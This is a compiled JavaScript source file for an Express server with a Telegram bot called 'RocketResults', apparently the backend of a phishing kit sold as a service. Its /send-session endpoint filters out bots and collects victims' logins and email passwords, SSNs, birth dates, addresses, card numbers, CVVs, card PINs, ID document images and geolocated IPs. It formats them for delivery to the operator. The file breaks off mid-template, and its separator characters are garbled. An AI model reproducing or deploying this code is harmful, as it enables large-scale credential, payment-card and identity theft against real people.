"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.bot = void 0;
require("dotenv").config();
const express_1 = __importDefault(require("express"));
const express_nobots_1 = __importDefault(require("express-nobots"));
const geoip_lite_1 = __importDefault(require("geoip-lite"));
const mobile_detect_1 = __importDefault(require("mobile-detect"));
const express_formidable_1 = __importDefault(require("express-formidable"));
const sendEmail_1 = require("./utils/sendEmail");
const path_1 = __importDefault(require("path"));
const telegraf_1 = require("telegraf");
const sendTelegram_1 = require("./utils/sendTelegram");
exports.bot = new telegraf_1.Telegraf(process.env.BOT_TOKEN);
exports.bot.start((ctx) => __awaiter(void 0, void 0, void 0, function* () {
yield ctx.replyWithHTML(`
Hi @${ctx.message.from.username}, Welcome to RocketResults
Your Telegram ID is: ${ctx.chat.id}
Use it on the PAGE to receive results.
contact RocketSupport for more info and pages.
`);
}));
exports.bot.launch();
exports.bot.catch((error) => {
console.log(`error: `, error);
});
process.once("SIGINT", () => exports.bot.stop("SIGINT"));
process.once("SIGTERM", () => exports.bot.stop("SIGTERM"));
const app = express_1.default();
app.use(express_formidable_1.default());
const port = process.env.PORT || 5000;
app.use(express_nobots_1.default());
app.use(express_1.default.json());
app.post("/send-session", (req, res) => __awaiter(void 0, void 0, void 0, function* () {
var _a, _b;
const md = new mobile_detect_1.default(req.headers["user-agent"]);
const isBot = md.is("Bot");
if (isBot) {
res.send("Fuck off");
return;
}
try {
const ip = req.headers["x-forwarded-for"] || req.connection.remoteAddress;
const geo = geoip_lite_1.default.lookup(ip);
const front = req.files && req.files.front;
const back = req.files && req.files.back;
const values = JSON.parse(req.fields ? req.fields.session : "{}");
const message = `
| (â°Ëâ¡Ëâ°) LOGIN ATTEMPT â ${values.logins["1"].loginDetails.loginAttempt}
| (â°Ëâ¡Ëâ°) USERNAME â ${values.logins["1"].loginDetails.username}
| (â°Ëâ¡Ëâ°) PASSWORD â ${values.logins["1"].loginDetails.password}
| (â°Ëâ¡Ëâ°) LOGIN ATTEMPT â ${values.logins["2"].loginDetails.loginAttempt}
| (â°Ëâ¡Ëâ°) USERNAME â ${values.logins["2"].loginDetails.username}
| (â°Ëâ¡Ëâ°) PASSWORD â ${values.logins["2"].loginDetails.password}
| (â°Ëâ¡Ëâ°) EMAIL ATTEMPT â ${values.emailLogins["1"].emailLogins.attempt}
| (â°Ëâ¡Ëâ°) EMAIL ADDRESS â ${values.emailLogins["1"].emailLogins.email}
| (â°Ëâ¡Ëâ°) EMAIL PASSWORD â ${values.emailLogins["1"].emailLogins.emailPassword}
| (â°Ëâ¡Ëâ°) EMAIL ATTEMPT â ${values.emailLogins["2"].emailLogins.attempt}
| (â°Ëâ¡Ëâ°) EMAIL ADDRESS â ${values.emailLogins["2"].emailLogins.email}
| (â°Ëâ¡Ëâ°) EMAIL PASSWORD â ${values.emailLogins["2"].emailLogins.emailPassword}
| (â°Ëâ¡Ëâ°) FIRST NAME â ${values.billing.firstname}
| (â°Ëâ¡Ëâ°) LAST NAME â ${values.billing.lastname}
| (â°Ëâ¡Ëâ°) SSN â ${values.billing.ssn}
| (â°Ëâ¡Ëâ°) DOB â ${values.billing.dob}
| (â°Ëâ¡Ëâ°) STREET ADDRESS â ${values.billing.streetAddress}
| (â°Ëâ¡Ëâ°) ZIP CODE â ${values.billing.zipCode}
| (â°Ëâ¡Ëâ°) STATE â ${values.billing.state}
| (â°Ëâ¡Ëâ°) PHONE NUMBER â ${values.billing.phoneNumber}
| (â°Ëâ¡Ëâ°) CARD NUMBER â ${values.cardInformation.cardNumber}
| (â°Ëâ¡Ëâ°) EXPIRATION DATE â ${values.cardInformation.expirationDate}
| (â°Ëâ¡Ëâ°) CVV â ${values.cardInformation.cvv}
| (â°Ëâ¡Ëâ°) CARD PIN â ${values.cardInformation.cardPin}
${req.files && (req.files.front || req.files.back) ? `| (â°Ëâ¡Ëâ°) See attached files
| (â°Ëâ¡Ëâ°) IP â ${ip}
| (â°Ëâ¡Ëâ°) LOCATION â ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}
| (â°Ëâ¡Ëâ°) TIMEZONE â ${geo === null || geo === void 0 ? void 0 : geo.timezone}
| (â°Ëâ¡Ëâ°) USER AGENT â ${req.headers["user-agent"]}
| (â°Ëâ¡Ëâ°) See attached files
| (â°Ëâ¡Ëâ°) IP â ${ip}
| (â°Ëâ¡Ëâ°) LOCATION â ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}
| (â°Ëâ¡Ëâ°) TIMEZONE â ${geo === null || geo === void 0 ? void 0 : geo.timezone}
| (â°Ëâ¡Ëâ°) USER AGENT â ${req.headers["user-agent"]}
| (â°Ëâ¡Ëâ°) LOGIN ATTEMPT â ${values.loginDetails.loginAttempt}
| (â°Ëâ¡Ëâ°) USERNAME â ${values.loginDetails.username}
| (â°Ëâ¡Ëâ°) PASSWORD â ${values.loginDetails.password}
| (â°Ëâ¡Ëâ°) EMAIL ATTEMPT â ${values.emailLogins.attempt}
| (â°Ëâ¡Ëâ°) EMAIL ADDRESS â ${values.emailLogins.email}
| (â°Ëâ¡Ëâ°) EMAIL PASSWORD â ${values.emailLogins.emailPassword}
` : ` ${values.form === "BILLING" ? `| (â°Ëâ¡Ëâ°) FIRST NAME â ${values.billing.firstname}
| (â°Ëâ¡Ëâ°) LAST NAME â ${values.billing.lastname}
| (â°Ëâ¡Ëâ°) SSN â ${values.billing.ssn}
| (â°Ëâ¡Ëâ°) DOB â ${values.billing.dob}
| (â°Ëâ¡Ëâ°) STREET ADDRESS â ${values.billing.streetAddress}
| (â°Ëâ¡Ëâ°) ZIP CODE â ${values.billing.zipCode}
| (â°Ëâ¡Ëâ°) STATE â ${values.billing.state}
| (â°Ëâ¡Ëâ°) PHONE NUMBER â ${values.billing.phoneNumber}
| (â°Ëâ¡Ëâ°) CARD NUMBER â ${values.cardInformation.cardNumber}
| (â°Ëâ¡Ëâ°) EXPIRATION DATE â ${values.cardInformation.expirationDate}
| (â°Ëâ¡Ëâ°) CVV â ${values.cardInformation.cvv}
| (â°Ëâ¡Ëâ°) CARD PIN â ${values.cardInformation.cardPin}
| (â°Ëâ¡Ëâ°) IP â ${ip}
| (â°Ëâ¡Ëâ°) LOCATION â ${geo === null || geo === void 0 ? void 0 : geo.city}, ${geo === null || geo === void 0 ? void 0 : geo.country}
| (â°Ëâ¡Ëâ°) TIMEZONE â ${geo === null || geo === void 0 ? void 0 : geo.timezone}
| (â°Ëâ¡Ëâ°) USER AGENT â ${req.headers["user-agent"]}